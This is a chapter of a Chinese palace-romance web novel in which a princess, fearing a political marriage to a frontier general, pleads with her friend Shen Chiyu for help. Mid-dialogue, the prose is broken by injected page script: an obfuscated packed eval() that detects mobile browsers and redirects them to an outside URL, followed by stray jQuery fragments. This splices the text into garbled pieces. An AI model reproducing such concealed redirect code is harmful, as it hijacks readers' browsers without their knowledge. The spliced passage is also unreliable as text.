第404章 你帮帮我

作品:《我被活活烧死后,全家悔疯了

    “郑大人心有千千结,是我多言了,”沈池鱼后退半步,恢复疏离,“公主该醒了,为避嫌,郑大人等等再走吧。”


    福身行礼,沈池鱼不再看郑倦的反应,转身率先朝来时的方向走去。


    有些话点到即止。


    她想知道的已经有了答案,原来,并非神女一厢情愿,可惜襄王固步不前。


    回到软榻边,沈池鱼轻唤两声,谢玉嘉揉着眼睛醒来,睡眼惺忪道:“看完啦?”


    沈池鱼嗯了声,“差不多了,时辰太晚,我该出宫了。”


    “好。”谢玉嘉起身整理衣裙,环视一圈阁内,有些失望的扁扁嘴。


    沈池鱼只当没看见,在郑倦出来前和谢玉嘉一起离开。


    离开文渊阁,走在长长的宫道上,沈池鱼回望那座沉静的殿阁,影影绰绰,什么都看不清。


    走出一段距离,沈池鱼寻了个话题。


    “我三妹前些日子刚出嫁,四妹也有不少人上门提亲。”


    谢玉嘉心不在焉地听着,思绪不知飘在哪里。


    “每到年底,京中的喜事不断,我母亲也在为我兄长相看姑娘,说起来,上次镇北王回京,本也是为择亲一事。”


    听到镇北王三个字,谢玉嘉的思绪飞了回来,歪头看向沈池鱼。


    沈池鱼当做不察,继续道:“老王爷去世后,镇北王府只他们兄妹二人,确实冷清。”


    “卫峥也是京中数一数二的才俊,战功赫赫,只是常年戍边,婚事耽搁不前。”


    “**郡主提到此事就愁,也不知哪家姑娘能看上她兄长。”


    她这时才回望谢玉嘉,笑道:“马上就到除夕宫宴,也不知到时陛下会不会心血来潮给他赐个婚。”


    谢玉嘉面色发白,抿抿唇没接话。


    沈池鱼淡淡收回视线,“不过我想,陛下爱重功臣,就算指婚,也必会选一位品貌相当的贵女。”


    言罢,她不再往下说,只当刚才是随口聊了几句八卦。


    谢玉嘉沉默地走着,腰间的丝绦在手上越绞越紧。


    须臾后,她才下定决心,停住脚步,侧身对着沈池鱼。


    那双总是盛满明媚笑意的眼睛里,此刻蒙上一层水汽和难以掩饰的惶恐。


    “池鱼,”她声音发颤,“我…我有件事…,不知道该跟谁说,我害怕……”


    沈池鱼面上露出恰到好处的惊讶和关切,停步握住她伸过来的冰凉的手。


    “公主怎么了?别怕,慢慢说。”


    谢玉嘉朝身后的汤圆看了眼,汤圆会意,带着宫人和雪青往后退了几步,确定不会听见主子交谈。


    “前些日子,有人告诉我,皇兄想把我……把我许配给卫峥。”


    才开始说,眼泪就扑簌簌地掉。


    沈池鱼震惊道:“什么?这……怎么会呢?您可有确定真假?”


    “我不知道。”


    谢玉嘉抽泣着:“她告诉我,目前北境兵权还在卫峥手中握着,朝堂想要稳固,皇室中必须有人能钳制卫峥。”


    可怎么钳制?拿什么钳制?


    古有公主和亲稳固邦交,今有她谢玉嘉联姻稳住兵权。


    “宫中只我一个未出阁的公主,皇兄没有别的人选,可我……可我对卫峥没那个心思。”


    她越说越伤心,两人没见过几次面,遑论有什么感情。


    而且,卫峥是武将,整天打打杀杀是她最讨厌的那类人。


    北境路远,她若与其成亲,岂不是要离开京都去那苦寒之地生活?


    “池鱼,我不想嫁给他,我不要嫁去那么远,我也不想嫁给一个只会舞刀弄枪的武夫。”


    她平日里骄纵活泼,此刻哭得像个无助的孩子,势要把近来压在心里的恐惧和委屈全部倾泻出来。


    沈池鱼轻轻拍着她的背,低声安抚:“公主别哭了,让人看到恐生事端。”


    “此事未必就定了,陛下疼爱你,或许还有转圜余地。”


    嘴上是这么安慰,心里却明白,此事难有别的余地。


    这桩婚事的重量,不是谢玉嘉的个人喜好能轻易撼动。


    怪只怪卫家风头太盛,恨只恨皇室疑心太重。


    “我该怎么办?”谢玉嘉抬起泪眼。


    “皇兄决定的事,我不愿意也没用,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910612|176261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我知道的,我是公主,我不该任性,我该为皇兄分忧。”


    明白道理是一回事,接受是另一回事。


    尤其她本就有个心心念念的人。


    “你说,卫峥能不能拒绝啊?”


    谢玉嘉紧紧抓着沈池鱼的手,怀着希冀望着她。


    “他之前不是还想娶你吗?说明他对我也是无意的,而且……”


    “而且,他娶我对他只有坏处没有好处,他……”


    “公主!”沈池鱼用力捏了下谢玉嘉的手,阻止她继续往下说,“公主要慎言。”


    发泄情绪可以,有些事即便大家都心照不宣,也不能公然谈论出来。


    沈池鱼环顾一圈,她们在的位置没有能躲藏偷听的地方,不然她也不会让谢玉嘉说出前面那些话。


    宫中耳目众多,谁知道身边的人是谁的人,要小心祸从口出。


    到底是在深宫长大的人,不是纯粹的白纸一张。


    谢玉嘉咬着唇,缓了缓,不再说卫峥如何,而是求助道:“池鱼,你帮帮我。”


    “你那么聪明,皇叔又那么厉害,你们一定有办法的对不对?”


    “你知道的,我、我有喜欢的人。”


    最后一句她说得很轻。


    沈池鱼看着她满是泪痕绝望地脸,心中再次叹息。


    她能为拒婚求到自己这里,可郑倦呢?连喜欢都不敢承认。


    “公主,”沈池鱼放柔声音,拉着她继续往前走,宫人们远远缀在后面,“此事关系重大,不是我能插手。”


    “我且问你,郑大人可曾对你表露过心意?”


    谢玉嘉一怔,想了会儿,咬唇摇摇头。


    “他是君子,不曾逾矩……”


    “不是的,”沈池鱼站定,腾出一只手捏着绣帕为谢玉嘉擦干泪痕,“公主,爱一个人是克制不住会想靠近。”


    “他从未往前迈一步,你怎知他心中有你?”


    不怪沈池鱼想棒打鸳鸯,实是她看不起郑倦的行为。


    倘若真有万般理由促使他不能娶谢玉嘉,那在一开始,就该离谢玉嘉远远的,一点希望也不要给。